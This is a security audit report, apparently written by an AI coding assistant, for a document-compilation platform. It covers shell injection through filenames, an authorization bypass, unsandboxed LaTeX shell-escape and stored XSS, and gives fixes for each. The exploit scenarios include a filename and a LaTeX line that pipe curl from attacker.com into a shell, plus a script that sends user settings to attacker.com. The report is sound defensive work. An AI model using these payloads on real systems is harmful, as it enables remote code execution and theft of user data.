Files
Verso/docs/security-audit-alpha3.md
claude 952c897760 docs: add alpha-3 security audit report
Four findings: shell injection via filename (RCE on CLSI), auth bypass
on publish-presentation routes, shell-escape without sandbox in prod,
and stored XSS via published presentations (CSP removed on main origin).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-19 10:10:19 +00:00

11 KiB
Raw Permalink Blame History

Verso Alpha-3 Security Audit

Date: 2026-06-19 Branch audited: main (full codebase) Method: multi-agent automated review + manual false-positive filtering


Summary

# Title Severity Confidence
1 Shell injection via filename → RCE on CLSI HIGH 9/10
2 Read-only collaborator can publish / unpublish / rotate tokens HIGH 9/10
3 LaTeX shell-escape enabled without sandbox in production HIGH 9/10
4 Published presentations served without CSP (stored XSS on origin) MEDIUM 9/10

Vuln 1 — Command Injection via Filename → RCE on CLSI

Files:

  • services/clsi/app/js/QuartoRunner.js (lines 102147)
  • services/clsi/app/js/TypstRunner.js (lines 139141, 399400)

Category: command_injection / rce Severity: HIGH | Confidence: 9/10

Description

renderTarget / mainFile (the project's root resource path) is interpolated directly into a shell command string passed to /bin/sh -c without any quoting or escaping:

// QuartoRunner.js ~line 102
const baseName = renderTarget.replace(/\.[^/.]+$/, '')
// …passed to /bin/sh -c:
`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf`
`; rm -rf ${baseName}.qmd ${baseName}_files`
// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion
['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`]

// TypstRunner.js ~line 399 — completely unquoted
['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`]

SafePath.isCleanFilename() (SafePath.mjs lines 2437) only blocks /, \, *, and control characters. Shell metacharacters — $, `, (, ), ;, &, | — all pass through unchecked. The CLSI's own _checkPath() only rejects .. path traversal.

Exploit Scenario

Any project collaborator renames their root file to:

foo$(curl https://attacker.com/shell.sh|sh).qmd

Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user.

Fix

Use an args array instead of /bin/sh -c with a concatenated string:

// Instead of:
spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`])

// Use:
spawn('quarto', ['render', absRenderTarget, '--to', 'pdf'])

For cases where a shell string is unavoidable, single-quote the variable: '${renderTarget}' (single quotes prevent all shell expansion). The safest fix is removing all three /bin/sh -c templateString invocations in favour of direct spawn with an explicit args array.


Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens

File: services/web/app/src/router.mjs (lines 697710)

Category: authorization_bypass / privilege_escalation Severity: HIGH | Confidence: 9/10

Description

Three destructive presentation endpoints are gated on ensureUserCanReadProject instead of ensureUserCanAdminProject:

webRouter.post('/project/:Project_id/publish-presentation',
  AuthorizationMiddleware.ensureUserCanReadProject,   // ← should be ensureUserCanAdminProject
  PublishedPresentationController.publish)

webRouter.post('/project/:Project_id/publish-presentation/regenerate',
  AuthorizationMiddleware.ensureUserCanReadProject,   // ← should be ensureUserCanAdminProject
  PublishedPresentationController.regenerate)

webRouter.delete('/project/:Project_id/publish-presentation',
  AuthorizationMiddleware.ensureUserCanReadProject,   // ← should be ensureUserCanAdminProject
  PublishedPresentationController.unpublish)

canUserReadProject returns true for the READ_ONLY privilege level (AuthorizationManager.mjs lines 260276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. canUserAdminProject requires OWNER only.

Exploit Scenario

User A shares a project read-only with User B. User B can:

  1. DELETE /publish-presentation — permanently take down the owner's published presentation
  2. POST /publish-presentation/regenerate — rotate the public/login/member share token, breaking all existing links
  3. POST /publish-presentation — force a recompile and overwrite the published snapshot

Fix

// Change all three routes — replace:
AuthorizationMiddleware.ensureUserCanReadProject
// with:
AuthorizationMiddleware.ensureUserCanAdminProject

One-line fix per route. This is the highest-priority fix because it requires no architectural change.


Vuln 3 — LaTeX shell-escape Enabled Without Sandbox in Production (RCE)

Files:

  • .gitea/workflows/deploy-verso-prod.yml (lines 332333)
  • services/clsi/app/js/LatexRunner.js (lines 200202)
  • services/clsi/app/js/CommandRunner.js (lines 1216)

Category: rce / insecure_configuration Severity: HIGH | Confidence: 9/10

Description

The production Kubernetes deployment sets OVERLEAF_LATEX_SHELL_ESCAPE: "true" with neither SANDBOXED_COMPILES nor DOCKER_RUNNER configured. This passes -shell-escape to every latexmk invocation globally, for all users, with no per-user or per-project gating:

// LatexRunner.js lines 200202
if (Settings.clsi?.latexShellEscape) {
  command.push('-shell-escape')   // unconditional — applies to all users/projects
}

Without DOCKER_RUNNER=true, CommandRunner.js selects LocalCommandRunner — compiles run as the host process with full container filesystem access. The reference docker-compose.yml does configure sandboxed compiles (SANDBOXED_COMPILES: true, DOCKER_RUNNER: true); the production K8s deployment simply omits them.

The compile endpoint requires only ensureUserCanReadProject, so any holder of a read-only share link can trigger a compile.

Exploit Scenario

Any user with read-only access to any project uploads or edits a .tex file containing:

\immediate\write18{curl https://attacker.com/shell.sh | bash}

Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output).

Fix (two steps)

Step 1 — Short term: Remove OVERLEAF_LATEX_SHELL_ESCAPE: "true" from .gitea/workflows/deploy-verso-prod.yml. Disable shell-escape entirely unless there is a specific, per-project need.

Step 2 — Medium term: Add sandboxed compile configuration to the production deployment, mirroring the reference docker-compose.yml:

- name: SANDBOXED_COMPILES
  value: "true"
- name: DOCKER_RUNNER
  value: "true"

This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status.


Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin)

File: services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs (line 116)

Category: xss / stored Severity: MEDIUM | Confidence: 9/10

Description

The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output:

res.removeHeader('Content-Security-Policy')  // line 116
res.sendFile(target, ...)                     // serves output.html / index.html directly

The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the .qmd source entirely, arbitrary <script> blocks can be embedded. The /p/:token routes are registered on the same webRouter as the main app, so scripts execute with full same-origin privileges against the Verso application origin.

Impact

  • Any visitor to a publicToken link has the script execute in their browser (no login required to be targeted)
  • fetch() calls from the same origin automatically include the session cookie, bypassing httpOnly
  • A script can call the /dev/csrf endpoint to obtain a valid CSRF token, then call any mutating POST/DELETE API endpoint as the victim (read/write projects, change email, delete account, exfiltrate documents)

Exploit Scenario

  1. Attacker creates a Quarto project with a slide containing:
    <script>
      fetch('/user/settings', {credentials: 'include'})
        .then(r => r.json())
        .then(d => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(d))))
    </script>
    
  2. Compiles and publishes → obtains the publicToken URL
  3. Shares the link with a victim
  4. Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf

Fix

The correct fix is to serve published presentations from an isolated subdomain (e.g., decks.verso.example.com) with no session cookie access, so embedded scripts are origin-isolated from the main app.

As a stopgap, apply a restricted CSP instead of removing it entirely:

// Instead of:
res.removeHeader('Content-Security-Policy')

// Apply a presentation-specific policy:
res.setHeader('Content-Security-Policy',
  "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'")

connect-src 'none' blocks fetch()/XHR exfiltration even if inline scripts run.


Items Reviewed and Not Flagged

Area Finding
MongoDB queries No raw req.body interpolation; Mongoose used throughout
CSRF protection csurf middleware applied globally; no Verso-added bypass found
dangerouslySetInnerHTML Only in operator-controlled footer (env-var source, not user input)
DOMPurify usage labs-description.tsx uses it correctly with a strict allowlist
Hardcoded credentials dev.env has weak defaults; production uses auto-generated secrets from 100_generate_secrets.sh
Open redirects getSafeRedirectPath strips to pathname only; no exploitable chain found
SSRF (URL agent) Proxied through linkedUrlProxy; host allowlisting in place
Path traversal in serve() path.resolve + startsWith guard is correct
Session secret Auto-generated at init, stored in /etc/container_environment/CRYPTO_RANDOM

Priority Finding Effort
1 Vuln 2 — wrong auth middleware on 3 routes ~5 min, 3-line fix
2 Vuln 3 — remove shell-escape from prod deploy ~5 min, remove 2 lines from YAML
3 Vuln 1 — fix quoting in QuartoRunner + TypstRunner ~1 hour, refactor spawn calls
4 Vuln 4 — XSS via presentations Hoursdays; subdomain isolation is the real fix

Vulns 13 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the connect-src 'none' CSP header as a stopgap and tracked as a post-alpha-3 architectural item.